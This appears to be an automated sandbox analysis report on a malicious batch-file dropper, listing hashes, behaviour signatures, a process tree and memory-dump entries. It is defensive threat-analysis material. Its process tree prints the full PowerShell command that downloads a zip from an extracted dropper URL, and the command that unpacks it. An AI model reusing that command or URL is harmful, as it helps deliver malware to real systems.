1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1559s
max time network
1570s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (7).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3048	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3048	powershell.exe
2628	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 3048	2100	cmd.exe	29
PID 2100 wrote to memory of 3048	2100	cmd.exe	29
PID 2100 wrote to memory of 3048	2100	cmd.exe	29
PID 2100 wrote to memory of 2628	2100	cmd.exe	30
PID 2100 wrote to memory of 2628	2100	cmd.exe	30
PID 2100 wrote to memory of 2628	2100	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2628

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9380b8044bbdf386cd2d531b9f86eca3

SHA1
8f7ad8a19a04c723373603849fab446feb86171c

SHA256
dd1782dcd04181db5b8674d73d62cf314f52d73dae15108e48af3f68772eb63d

SHA512
68f576c9b21f4ce59271ee942b131a14bfe5b20e3045f54264a6f4c660798e538530f82ccc3b7bcda96396bf93edfafd153d6dc82f06773192f6336c35c856a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNIDRJE10N23KXDUV5XJ.temp

Filesize
7KB

MD5
9380b8044bbdf386cd2d531b9f86eca3

SHA1
8f7ad8a19a04c723373603849fab446feb86171c

SHA256
dd1782dcd04181db5b8674d73d62cf314f52d73dae15108e48af3f68772eb63d

SHA512
68f576c9b21f4ce59271ee942b131a14bfe5b20e3045f54264a6f4c660798e538530f82ccc3b7bcda96396bf93edfafd153d6dc82f06773192f6336c35c856a6

Download Submit
memory/2628-20-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2628-23-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2628-26-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-25-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2628-24-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2628-22-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2628-21-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/2628-18-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/2628-19-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/3048-6-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-4-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/3048-5-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/3048-12-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-7-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/3048-10-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/3048-9-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-8-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download